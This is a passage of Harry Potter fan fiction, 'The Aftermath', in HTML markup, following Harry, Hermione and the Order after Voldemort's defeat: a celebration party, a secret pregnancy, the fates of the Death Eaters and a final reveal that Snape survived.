finished!&#8221;</p>\n\n<p><b>Chapter 26: The Aftermath</b>\n\n</p>\n\n<p><i>4 weeks later...</i></p>\n\n<p>On a warm summer day, in a secluded section of London, in the heart of Diagon Alley, on the second floor of Weasleys Wizard Wheezes, a young wizard was tying his robe secure around himself and placing his wand in his belt.&nbsp; He quietly left the seclusion of his room and started to make his way down the stairs.</p>\n\n<p>At the bottom of the stairs, a young witch looked up and saw the young wizard descend down the stairs.&nbsp; &#8220;Harry!&#8221; she exclaimed.&nbsp; &#8220;Are you sure you can get out of bed?&nbsp; Doesn&#8217;t it still hurt?&#8221;</p>\n\n<p>Harry Potter grinned at the young witch.&nbsp; &#8220;Don&#8217;t worry Hermione,&#8221; he said.&nbsp; &#8220;I feel absolutely smashing now.&nbsp; Though maybe just a tad sore.&#8221;&nbsp; Hermione smiled and threw her arms around Harry.&nbsp; Harry hugged her back just as enthusiastically before pulling away and saying, &#8220;Besides, how do you expect me to stay in bed with all this racket going on downstairs?&#8221;</p>\n\n<p>&#8220;I see your point,&#8221; said Hermione with a roll of her eyes.</p>\n\n<p>The &#8216;racket&#8217; Harry was referring to, was the party that had been going continuously on the main floor of the joke shop.&nbsp; The banner overhead proclaimed, <i>&#8220;Celebration of the fall of You-Know-Who and the Death Eaters, Day 28!!!&#8221;</i> though the part that read &#8216;28&#8217; was clearly written over with each successive date.&nbsp; The store had been closed during that month, as had most stores in Diagon Alley since the fall of Voldemort in celebration and the Order of the Phoenix was camping there while the Leaky Cauldron was being repaired.&nbsp; Around a karaoke machine toward the back of the store, Remus Lupin, Rebeus Hagrid, Fred Weasley, and several male members of the Order of the Phoenix were shouting out a drunken, highly out of tune version of &#8220;Cause he&#8217;s a jolly good fellow&#8221;, while poor Arabella Figg was continuously apologizing to George Weasley who seemed to be itching to return to the celebration himself.&nbsp; Sirius Black was grumbling and cursing about the lack of use in his heavily bandaged right hand as he ate with his left hand.&nbsp; Ron Weasley, was wandering around, quite drunk and obviously not being able to hold his liquor and Ginny Weasley was dashing around saying, &#8220;Draco, where are you?&#8221;</p>\n\n<p>Hermione sighed, and was about to go scold Ron for drinking when Harry suddenly pulled her into a corner behind the stairs and started kissing her.&nbsp; Hermione kissed him back blissfully as Harry placed a hand on her stomach.&nbsp; &#8220;How&#8217;s junior doing?&#8221; he asked.</p>\n\n<p>Hermione smiled.&nbsp; While Harry had hovered near life and death several weeks ago, Hermione had never left his side.&nbsp; One night, she whispered to him about the baby, and the faint smile on Harry&#8217;s otherwise motionless face was telling enough for Hermione about the sheer euphoria he had felt at the prospect of becoming a father.&nbsp; &#8220;So far, the little one&#8217;s just been making me a little nauseated each morning,&#8221; she said.&nbsp; &#8220;But just wait, soon it will be mood swings, food cravings, hormones, and all the other woes.&nbsp; You&#8217;ve got your work cut out for you Mr. Potter.&#8221;</p>\n\n<p>&#8220;And it will all be worth it,&#8221; said Harry as he started kissing her neck.&nbsp; &#8220;Shall we tell the others?&#8221;</p>\n\n<p>&#8220;I still want to keep the baby a secret just a little longer,&#8221; said Hermione.&nbsp; &#8220;Cho&#8217;s the only one who knows and for now, I&#8217;d like to leave it at that.&#8221;&nbsp; Only days after the final battle, Cho Chang arrived complete with her newly earned medical degree, to nurse Harry back to health.&nbsp; She was also now Hermione&#8217;s official doctor throughout the duration of her pregnancy.</p>\n\n<p>Harry nodded and suggested that they should return to the party.&nbsp; From the main table where most of the food was, Cho Chang looked up and smiled as she saw Harry and Hermione come and join them.&nbsp; &#8220;I see you are looking quite better, Harry,&#8221; she said.</p>\n\n<p>&#8220;And its all thanks to you and my lovely Hermione here,&#8221; said Harry.</p>\n\n<p>Cho smiled.&nbsp; &#8220;I was simply doing my job.&nbsp; It was all a simple day&#8217;s work.&#8221;</p>\n\n<p>Harry was about to take some food when Ginny screamed, &#8220;Where is Draco?!&#8221; completely startling everybody.</p>\n\n<p>Remus sighed and said, &#8220;He&#8217;s at St. Paul&#8217;s Cathedral.&#8221;</p>\n\n<p>&#8220;Again?&#8221; exclaimed Ginny.</p>\n\n<p>&#8220;You have to understand, that Draco&#8217;s been having a very difficult time these days,&#8221; said Remus.&nbsp; &#8220;He&#8217;s been doing a lot of soul searching and he often wants to be left alone.&nbsp; So lets just let him have his wishes for now and continue getting drunk!&#8221;&nbsp; The Order members cheered, as they seemed to like the idea.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Meanwhile just outside, a lone figure with a Mohawk, leather clothing, Union Jack tattoos, and wands bursting out of every pocket was approaching the store.&nbsp; &#8220;Well, these mates are getting a little laxed in their guards,&#8221; he said in a thick Australian accent.&nbsp; &#8220;Maybe I&#8217;ll give these mates a quick surprise.&#8221;&nbsp; He walked through the doors of the store and found every wand of every Order member trained on him.&nbsp; &#8220;OK, maybe your guard wasn&#8217;t so laxed afterall,&#8221; he said.</p>\n\n<p>&#8220;Chucky Sullivan?&#8221; said Harry.&nbsp; &#8220;When did you get out of jail?&#8221;</p>\n\n<p>&#8220;Actually, I&#8217;m not out of jail,&#8221; said the Wand Hunter.&nbsp; &#8220;Give me a meal and I&#8217;ll tell you the story.&nbsp; I&#8217;ll even pay for the meal.&#8221;</p>\n\n<p>Minutes later, Chucky was chomping down on a burger as he explained his situation while the Order members stared at him warily.&nbsp; &#8220;A Ministry Agent?&nbsp; You?&#8221; exclaimed Ginny.</p>\n\n<p>&#8220;Believe it, Red,&#8221; said Chucky.&nbsp; &#8220;With Azkaban without guards following the revolt of the Dementors, the Ministry had to come up with alternative ways to ring in the Death Eaters.&nbsp; One of the Aurors thought I&#8217;d make a useful spy for him and had a bunch of charms placed in my head to keep me in check.&nbsp; Robbed me of my freewill but considering I&#8217;m serving a sentence, I don&#8217;t have much freewill anyway.&#8221;</p>\n\n<p>&#8220;But it looks like they gave you the permission to come here though, broomhead,&#8221; said Sirius.&nbsp; &#8220;Why?&nbsp; Is the ministry keeping tabs on us now?&#8221;</p>\n\n<p>&#8220;For your information, dog breath, I&#8217;m here to tell you what happened to the Elite Ten,&#8221; said Chucky.&nbsp; &#8220;Most of the regular run of the mill Death Eaters have been locked away but the Elite Ten have been placed in the service of the Ministry because of their special skills.&nbsp; Fenis, Flame, Icicle, Wormtail, and of course myself are all servicing the Ministry now.&#8221;&nbsp; Sirius and Remus looked furious, both of them obviously dissatisfied with Wormtail&#8217;s fate, but they remained quiet as Chucky continued talking, &#8220;Cassandra Frost is also due to be in Ministry service, eventually.&#8221;</p>\n\n<p>&#8220;Eventually?&nbsp; Why eventually?&#8221; asked Ginny.</p>\n\n<p>&#8220;She took the Dark Lord&#8217;s death rather hard,&#8221; said Chucky.&nbsp; &#8220;I spoke to her just before I came here...&#8221;</p>\n\n<p><i>&#8220;You&#8217;re still lying around?&#8221; asked Chucky.&nbsp; &#8220;You, know the Ministry&#8217;s offer isn&#8217;t going to last.&nbsp; Why aren&#8217;t you taking it?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Why even live?&#8221; asked Cassandra.&nbsp; &#8220;Our Lord is dead.&nbsp; The cause is over.&nbsp; I feel like there isn&#8217;t really anything else left to live for.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Perhaps,&#8221; said Chucky.&nbsp; &#8220;But that would be going against what the Dark Lord&#8217;s words.&#8221;&nbsp; At Cassandra&#8217;s confused look, Chucky continued, &#8220;The Dark Lord once said that in the unlikely event that he is defeated, he wished for his Death Eaters to provide the Ministry with an example.&nbsp; If the time for the dark side never comes, then perhaps a continued dark influence within the Ministry could at least provide a sanctuary to those too steeped in the Dark Arts.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Cassandra looked surprised.&nbsp; &#8220;You&#8217;re not kidding are you?&nbsp; Are you really not making that up just to cheer me?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Nope, the Dark Lord&#8217;s very words,&#8221; said Chucky.</i></p>\n\n<p><i></i></p>\n\n<p><i>Cassandra made a small smile.&nbsp; &#8220;Really.&nbsp; I suppose that&#8217;s a job that the dead Yasmin or the exiled Seth can&#8217;t do.&nbsp; I guess it&#8217;ll be something to consider.&#8221;</i></p>\n\n<p>&#8220;You know, not that I agree with that philosophy, but perhaps Voldemort was a bigger man than I thought,&#8221; said Harry.</p>\n\n<p>&#8220;What are you talking about?&#8221; said Chucky.&nbsp; &#8220;Of course I made those words up just to cheer Cassandra up.&#8221;&nbsp; There was a general rolling of eyes amongst the Order members.</p>\n\n<p>&#8220;Enough of all those others, what happened to Angelus?&#8221; snapped Sirius.&nbsp; &#8220;He certainly isn&#8217;t one to take any Ministry bribes of that sort.&#8221;</p>\n\n<p>&#8220;You&#8217;re right, he didn&#8217;t,&#8221; said Chucky.&nbsp; &#8220;Due to his relation to the Catholic Church, Angelus avoided execution, but he&#8217;s still serving multiple life sentences in Azkaban.&nbsp; He won&#8217;t be eligible for parole for 25 years.&#8221;</p>\n\n<p>&#8220;25 years, that&#8217;s a long time,&#8221; said Sirius.</p>\n\n<p>&#8220;What about Voldemort&#8217;s second in command?&nbsp; The one called Horace the Informer?&#8221; asked Harry.</p>\n\n<p>&#8220;Oh him?&nbsp; He&#8217;s dead.&#8221;</p>\n\n<p>&#8220;Dead?&#8221; said Harry,&nbsp; &#8220;how did that happen?&#8221;</p>\n\n<p>&#8220;Horace&#8217;s powers of research and his intelligence would&#8217;ve been invaluable to the Ministry,&#8221; said Chucky.&nbsp; &#8220;Originally, Horace wanted to live so as to preserve the Dark Lord&#8217;s legacy.&nbsp; However, for the Ministry, that was a great taboo.&nbsp; They wish to erase all possible traces of the Dark Lord and whatever influence he had on the Wizarding World in general.&nbsp; They can&#8217;t erase the influence of the dark side but they can at least try to erase all influences of the Dark Lord.&nbsp; This was unacceptable to Horace, and giving into despair, he used a knife he smuggled into his cell and slit his own throat.&#8221;</p>\n\n<p>There was a general feeling of melancholy in the room following this revelation.&nbsp; &#8220;Didn&#8217;t that other one, the one called Yasmin also die?&#8221; asked Hermione</p>\n\n<p>&#8220;That she did,&#8221; said Chucky.&nbsp; &#8220;Yasmin Corellan was best friends and eventually lovers with Tom Riddle when they were at Hogwarts.&nbsp; After Tom Riddle returned as the Dark Lord, she became one of his mere Death Eaters however.&nbsp; It was only after the Dark Lord&#8217;s revival 3 years ago that she regained the old closeness she once shared with the Dark Lord.&#8221;</p>\n\n<p>&#8220;That&#8217;s so tragic,&#8221; said Hermione.&nbsp; &#8220;But I guess even Voldemort had a semblance of a heart somewhere in that cold body of his.&#8221;</p>\n\n<p>&#8220;That&#8217;s probably why I was finally able to beat him,&#8221; said Harry.&nbsp; &#8220;Why Dumbledore looked triumphant when he found out that Voldemort used my blood for his revival.&nbsp; People said that Voldemort was barely human.&nbsp; I bet my blood somehow caused Voldemort to once again regain some of his humanity.&nbsp; That&#8217;s why he was once again close to Yasmin, why he was willing to admit defeat after the HMS Hell Bearer was destroyed, and why he was finally able to be killed.&#8221;</p>\n\n<p>Chucky bit into his burger once more and said,&nbsp; &#8220;As you mates would probably know, only one Death Eater escaped Ministry custody.&nbsp; I seriously doubt Seth Soran will ever be caught, but then again the Ministry doesn&#8217;t seem to care much about him.&nbsp; Nobody thinks he&#8217;ll ever be a danger again.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Meanwhile, in a small hamlet in south Norway, Seth Soran was eating some ice cream he had just purchased from a local snack stand.&nbsp; &#8220;Thank you very much,&#8221; he said to the lady whom had just sold him the ice cream.&nbsp; &#8220;Now, if it isn&#8217;t much, could you also tell me if there&#8217;s some nice open country where I can spend my time philosophizing?&#8221;</p>\n\n<p>&#8220;Now why would a young man like yourself need some philosophizing?&#8221;</p>\n\n<p>&#8220;Well lets just say my life has led to bit of a crossroad,&#8221; said Seth.&nbsp; &#8220;I&#8217;m at the point where I need to make a choice for myself of one of two philosophies.&nbsp; I can&#8217;t make this choice lightly as it&#8217;s a choice that led two men with very similar beginnings to travel down two different paths.&#8221;</p>\n\n<p>&#8220;Well is that so?&#8221; said the old woman.&nbsp; &#8220;Well I would suggest you head north then.&nbsp; There are some nice wilderness regions there where men can philosophize to their heart&#8217;s contents.&#8221;</p>\n\n<p>&#8220;North,&#8221; said Seth.&nbsp; &#8220;Yes, up north would really be a great place to spend the coming summer.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Back at Weasley Wizard Wheezes, Chucky was just about to leave.&nbsp; &#8220;Well, thanks for the meal,&#8221; he said as he stepped out of the store.</p>\n\n<p>&#8220;Wait,&#8221; said Harry.&nbsp; &#8220;Tell me, what was Horace&#8217;s real name?&#8221;</p>\n\n<p>&#8220;Horace Salacion.&nbsp; Why?&#8221; said Chucky.</p>\n\n<p>&#8220;Horace Salacion.&nbsp; Every man has his role to play and every man has a place of honor.&nbsp; That man recognized that.&nbsp; Perhaps it is true, that even one such as Voldemort deserves to be honored in some way,&#8221; said Harry.</p>\n\n<p>&#8220;Whatever you say Potter,&#8221; said Chucky.&nbsp; With that, he disappeared down the road.</p>\n\n<p>&#8220;You know Harry, I was thinking,&#8221; said Ron.&nbsp; &#8220;I know we did a good deed and all defeating You-Know-Who but did we really do a good job with the Ministry back in power?&nbsp; You heard what that guy said; they&#8217;re using former Death Eaters to do their dirty work now?&nbsp; What kind of guys are we if we just defeated one evil to save another?&#8221;</p>\n\n<p>&#8220;Only time can tell,&#8221; said Harry.&nbsp; &#8220;No one knows for certain what philosophy or method of governing is the <i>right</i> method or philosophy.&nbsp; Only the passing of time can provide us with hints to that question.&nbsp; All I knew for certain,&#8221; he looked up toward the sky, &#8220;was that <i>Voldemort&#8217;s</i> method was the wrong one.&nbsp; Positively.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * </p>\n\n<p>Horace Salacion was walking through some place he didn&#8217;t recognize.&nbsp; It was a dark and frightening place, filled with fire and brimstone.&nbsp; The very roads he was walking along alone were littered with human skeletons.&nbsp; &#8220;Where am I?&#8221; he asked no one in particular.</p>\n\n<p>&#8220;Why in Hell of course,&#8221; said a familiar voice.&nbsp; Horace spun around to see that the one spoken was none other than Lord Voldemort himself.&nbsp; Right next to him was Yasmin Corellan.</p>\n\n<p>&#8220;See, I told you Horace would soon join us,&#8221; said Yasmin.</p>\n\n<p>&#8220;And correct you were my dear,&#8221; said Voldemort.&nbsp; &#8220;Come Horace, to my side once more.&nbsp; And join me so that we may once again do great things.&#8221;</p>\n\n<p>A grin of delight spread across Horace&#8217;s face.&nbsp; &#8220;Yes, my Lord!&#8221; he exclaimed as he went to join Voldemort.</p>\n\n<p>&#8220;You know while we&#8217;re at it,&#8221; said Yasmin, &#8220;why don&#8217;t we go find Grindelwald and get him to join us for real this time?&nbsp; Then maybe we could go try to usurp control of Hell from the Devil.&#8221;</p>\n\n<p>&#8220;My thoughts exactly,&#8221; said Voldemort with a shrill laugh.&nbsp; His laughter echoed through the lands of darkness that surrounded them.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;You&#8217;re leaving tomorrow?&#8221; exclaimed Ginny.&nbsp; It was three days after Chucky&#8217;s visit and the Order had moved back into the Leaky Cauldron.</p>\n\n<p>&#8220;We&#8217;ve overextended our visit here,&#8221; said Hermione.&nbsp; &#8220;The free time granted to 7<sup>th</sup> years ends in about a week and we still have the NEWTs to complete.&#8221;</p>\n\n<p>&#8220;Oh just forget about those bloody exams and elope with Harry so you can stay here!&#8221; exclaimed Ginny.&nbsp; Hermione tried to keep her annoyance in check.</p>\n\n<p>&#8220;Ginny, as tempting as that sounds, you seem to be forgetting how much of a taboo that would be to me.&#8221;&nbsp; What Hermione wasn&#8217;t telling Ginny however was that she also wanted to find a place immediately after the final exams where she could spend her pregnancy in peace with just Harry.</p>\n\n<p>&#8220;Now, now Ginny,&#8221; said Remus.&nbsp; &#8220;Hermione and the others must have their reasons for wanting to leave and it is not our place to pry into their affairs.&nbsp; So instead, lets spend this day on my specially planned GRAND TOUR OF LONDON!&#8221;</p>\n\n<p>&#8220;Well if they&#8217;re adamant about leaving, then YES!&#8221; exclaimed a delighted Ginny&nbsp; &#8220;Oh, we can go to Buckingham Palace, or maybe stop over at Bakers Street, and there&#8217;s the London Museum, the Royal Shakespeare Company&#8217;s Theater, London Zoo...&#8221; She and Remus immediately drew out a map of London and started discussing tour plans when Ron walked by.&nbsp; &#8220;Oh Ron, want to go on a tour of London?&#8221;</p>\n\n<p>&#8220;Can&#8217;t.&nbsp; Going out.&nbsp; Oh, and Harry and Sirius are already out by the way.&#8221;&nbsp; Saying that, Ron just ambled out of the inn.</p>\n\n<p>Ginny and Remus looked disappointed.&nbsp; Ginny said, &#8220;Oh, well in that case maybe we could at least take Hermione...&#8221; She was interrupted when Cho Chang entered the room.</p>\n\n<p>&#8220;Hermione, would you please come take a walk with me?&#8221; asked Cho.</p>\n\n<p>&#8220;Oh?&nbsp; OK,&#8221; said Hermione.&nbsp; She followed Cho out of the inn leaving behind a very, very disappointed Ginny and Remus.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Hmm, not much left here,&#8221; said Ron. He was searching through the rubble of what was left of Voldemort&#8217;s lair near the Tower of London.&nbsp; &#8220;Guess it might not have been a good...&#8221; it was then that Ron suddenly felt a presence behind him.&nbsp; <i>&#8216;A renegade Death Eater?&#8217;</i> he thought.&nbsp; He pulled out his wand and turned around to find that it wasn&#8217;t a Death Eater.</p>\n\n<p>&#8220;What are you doing here?&#8221; asked Sirius Black.</p>\n\n<p>&#8220;I could ask you the same thing,&#8221; said Ron as he put his wand away.&nbsp; &#8220;If you must know, I wanted to see for myself where the final battle took place.&#8221;</p>\n\n<p>&#8220;Hmm, well you&#8217;ll have to follow me in that case.&nbsp; It&#8217;s a virtual labyrinth in there,&#8221; said Sirius.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Sitting in a rather crowded part of Trafalgar Square, Hermione Granger sat on a bench next to Cho Chang while chewing a sherbet lemon.&nbsp; An awkward moment of silence past as Hermione pondered over what Cho wanted to say.&nbsp; Finally, Hermione herself broke the silence, &#8220;Thank you for nursing Harry back to health; we were so worried about him.&nbsp; And also, thank you for keeping the baby a secret for now.&#8221;</p>\n\n<p>&#8220;I was simply doing my job,&#8221; said Cho.&nbsp; &#8220;Confidentiality between a doctor and her patients is often vital.&#8221;</p>\n\n<p>&#8220;Yes, but given the circumstances...&#8221;</p>\n\n<p>&#8220;I would do anything to make Harry happy.&nbsp; I&#8217;m sure you&#8217;re aware of that.&nbsp; If keeping your child a secret for the time being makes you two happy than I will be more than pleased to keep the child a secret.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; said Hermione.&nbsp; She started nibbling on her sherbet lemon when Cho stood up and walked a few paces away.</p>\n\n<p>&#8220;Tell me Hermione, how did you feel when Harry returned from the battle?&nbsp; When you saw the condition he was in?&#8221;</p>\n\n<p>Hermione was taken a bit aback by the question, but the memory was still fresh in her mind.&nbsp; She sheer terror and dread she had felt when she saw Harry barely alive, hanging off of Sirius&#8217;s shoulder.&nbsp; How she screamed out his name as the sobs wretched through her body.&nbsp; How she never left his side as he spent days hovering between the brink of life and death.&nbsp; &#8220;I felt devastated.&nbsp; Like my own life would end if Harry&#8217;s did.&#8221;</p>\n\n<p>&#8220;And if another evil should arise and Harry once again leaves to fight another danger, would you still stand by him no matter what?&nbsp; Even faced with the idea that this time, perhaps this time he will not come back?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; said Hermione without any hesitation.</p>\n\n<p>Cho chuckled bitterly.&nbsp; &#8220;I envy you Hermione Granger.&nbsp; I could never have the strength or the courage to do that.&nbsp; To tell you the truth, Harry shouldn&#8217;t have survived with the extent of injuries he had.&nbsp; I have no illusions in my belief that it was only because he wanted to be with you that he pulled through.&#8221;</p>\n\n<p>&#8220;Cho...&#8221;</p>\n\n<p>&#8220;I can heal and patch up wounds.&nbsp; But the only person who can truly pull Harry Potter back from the brink of death is the only person he said &#8216;good bye&#8217; to at Hogwarts.&nbsp; You, Hermione Granger, are his &#8216;home&#8217;.&nbsp; So remember Hermione,&#8221; Cho turned around to face Hermione, &#8220;next time, if you once again fall into the depths of depression like that, I&#8217;m not going to forgive you.&nbsp; Not for my sake but for Harry Potter&#8217;s sake.&nbsp; Do I make myself clear?&#8221;</p>\n\n<p>Tears were now streaming down Hermione&#8217;s face as she whispered, &#8220;Yes.&#8221;&nbsp; <i>&#8216;Thank you Cho... and I&#8217;m sorry.&#8217;</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;I guess a lot of things do tend to change throughout the city,&#8221; said Harry Potter as he walked through a cemetery near Hyde Park, carrying a bouquet of lilies.&nbsp; He stopped in front of a pair of tombstones and said, &#8220;But there are some things that will never change.&#8221;</p>\n\n<p>The pop of a wizard apparating sounded behind Harry and Albus Dumbledore stepped up behind him.&nbsp; &#8220;Is this the first time you have actually visited here?&#8221; he asked.</p>\n\n<p>Harry traced a finger over his scar and said, &#8220;Yes.&nbsp; This is my first time here.&#8221;&nbsp; He placed the lilies in front of the tombstones, each of which had a name written on them: <i>&#8220;James Potter&#8221;</i> and <i>&#8220;Lily Potter&#8221;</i>.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Sirius and Ron had delved deep into what was left of Voldemort&#8217;s lair and were now standing over the abyss that had previously housed the arena where the final battle had taken place.&nbsp; <i>&#8216;Why did Sirius want to come here?&#8217;</i> thought Ron.&nbsp; <i>&#8216;To confirm Snape&#8217;s fate?&#8217;</i></p>\n\n<p>&#8220;You know I for one can&#8217;t believe Snape&#8217;s really gone,&#8221; said Sirius.&nbsp; &#8220;That does sound strange coming from me doesn&#8217;t it?&nbsp; You&#8217;d expect that I&#8217;d be happy to see him finished off.&nbsp; But all I feel now is empty.&#8221;&nbsp; He turned to Ron and asked, &#8220;Why did you want to come here though?&#8221;</p>\n\n<p>Ron stood still thinking for a moment.&nbsp; &#8220;You know, I really felt great when I beat those Elite ten sisters.&nbsp; Declared myself as a &#8216;Big Time Super Wizard in training&#8217; and I really felt like I was finally contributing to something.&nbsp; Yet, three days ago I questioned whether helping out the Ministry was the right thing to do. &nbsp;Like Harry said, we don&#8217;t know whether it&#8217;ll turn out to be the right or wrong thing, we just have to trust our own judgments.&nbsp; I guess I was still too na&#239;ve to realize that and also was a huge reminder that I&#8217;m still a small guy.&nbsp; I mean think about it, I&#8217;ve never even seen You-know... oh forget about it, Voldemort&#8217;s face before... OW!&nbsp; Why did you do that for?&#8221;&nbsp; Sirius had just conked Ron on his head.</p>\n\n<p>&#8220;You said yourself that you&#8217;re in training,&#8221; said Sirius.&nbsp; &#8220;If you want to become a better man, just continue training, even after Hogwarts.&nbsp; Grow stronger and wiser.&nbsp; That&#8217;s what I intend to do.&nbsp; I may never have a final confrontation between Snape but at the least I can set a goal to become wiser and stronger than he was or he could ever be.&#8221;&nbsp; Saying that, Sirius turned around and started walking away.</p>\n\n<p><i>&#8216;Of course, Sirius wasn&#8217;t here to confirm Snape&#8217;s death, but place a final ultimatum between himself and Snape,&#8217;</i> thought Ron.<i> &#8216;I may be rather small now, but I am surrounded by great men and some day, I will be able to join their ranks, if only I set myself up to achieve that.&#8217;</i>&nbsp; Ron grinned and took off after a smiling Sirius and shouted &#8220;Hey, you planning on leaving me down here?&nbsp; Don&#8217;t even think about it!&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;You know, I always avoided coming here for a long time,&#8221; said Harry as he kneeled in front of his parents&#8217; graves.&nbsp; &#8220;I vowed that I would only visit here after and if I defeated Voldemort, years ago.&nbsp; I think a part of me feared that they blamed me for essentially leading them to their deaths.&#8221;</p>\n\n<p>&#8220;You know that is not true,&#8221; said Dumbledore.&nbsp; &#8220;Lily and James had their own paths to walk down and they knew that those paths were their own and solely their own.&nbsp; Our stories of our lives are all a story about different paths.&nbsp; These paths may overlap, or they may veer in different directions, but the bottom line is that they are all different paths.&nbsp; That is the simple story of life: a story about different paths.&#8221;</p>\n\n<p>Harry smiled and said, &#8220;I guess you&#8217;re right.&#8221;&nbsp; He turned back to the tombstones and said, &#8220;I promise I&#8217;ll come at least once a year from now on.&nbsp; And next time, I&#8217;ll bring the family.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Well, I suppose now is the time to say goodbye,&#8221; said Harry.&nbsp; It was the day after he had visited his parents&#8217; graves and the others had taken care of their own businesses.&nbsp; He, Hermione, Ron, Sirius, and Cho were all returning to Hogwarts and Hogsmeade on the Hogwarts Express.</p>\n\n<p>&#8220;Ah, it will only be for a short while,&#8221; said Remus.&nbsp; &#8220;I&#8217;m sure we&#8217;ll be visiting Hogwarts soon again.&#8221;</p>\n\n<p>&#8220;I don&#8217;t see why you have to go back already,&#8221; said Ginny.&nbsp; &#8220;I don&#8217;t have to go back till September.&#8221;</p>\n\n<p>&#8220;Well, we have our reasons,&#8221; said Harry, sharing a wink with Hermione.&nbsp; &#8220;By the way Remus, is Draco at St. Paul&#8217;s Cathedral today?&#8221;</p>\n\n<p>&#8220;No, he&#8217;s in his room today,&#8221; said Remus.</p>\n\n<p>&#8220;Right,&#8221; said Harry.&nbsp; He made his way over to Draco&#8217;s room and opened the door.&nbsp; Draco Malfoy was sitting on his bed facing away from Harry and looking out his window.&nbsp; Harry stood in the doorway and said, &#8220;You know Draco I doubt if we&#8217;ll ever be true friends.&nbsp; But maybe someday perhaps we could wash away our differences over a mug of butterbeer?&#8221;</p>\n\n<p>Draco didn&#8217;t turn around but said, &#8220;I don&#8217;t drink butterbeer.&nbsp; I&#8217;ll join you for a cup of tea instead.&#8221;</p>\n\n<p>&#8220;I&#8217;ll be looking forward to it,&#8221; said Harry.&nbsp; He and the others left the room.</p>\n\n<p>&#8220;He still doesn&#8217;t smile huh?&#8221; said Ron.</p>\n\n<p>&#8220;That will be up to Ginny now,&#8221; said Harry.</p>\n\n<p>&#8220;What?&#8221; asked Ginny.</p>\n\n<p>Harry beamed at her.&nbsp; &#8220;Well Ginny, its your job to get Draco Malfoy to laugh now.&nbsp; And I&#8217;m talking about a real laugh, not those nasty smirks he used to make.&nbsp; Stick by him and I&#8217;m sure he&#8217;ll recover far more quickly.&#8221;</p>\n\n<p>Ginny beamed at him.&nbsp; &#8220;I promise that I will make Draco laugh some day.&#8221;</p>\n\n<p>&#8220;Well, if that&#8217;s all we have to do now,&#8221; said Harry, &#8220;Lets head to Platform 9 &#190; at Kings Cross.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>As Harry, Hermione, Ron, Sirius, and Cho were making their way to Kings Cross, Chucky Sullivan stared at them from out of a window of a nearby building.&nbsp; &#8220;Aren&#8217;t you ever going to tell them that you&#8217;re alive?&#8221; he asked his companion.</p>\n\n<p>In the other side of the room, Severus Snape was brewing several potions.&nbsp; &#8220;Now why should I?&nbsp; Its not like they&#8217;re going to miss me,&#8221; he said.&nbsp; &#8220;Oh I probably will show up in front of them some day and I quite imagine that their reactions to see me alive would be priceless.&#8221;</p>\n\n<p>&#8220;I bet Potter wouldn&#8217;t know whether to be relieved or disappointed to see you alive,&#8221; said Chucky.</p>\n\n<p>&#8220;Enough of that,&#8221; said Snape.&nbsp; 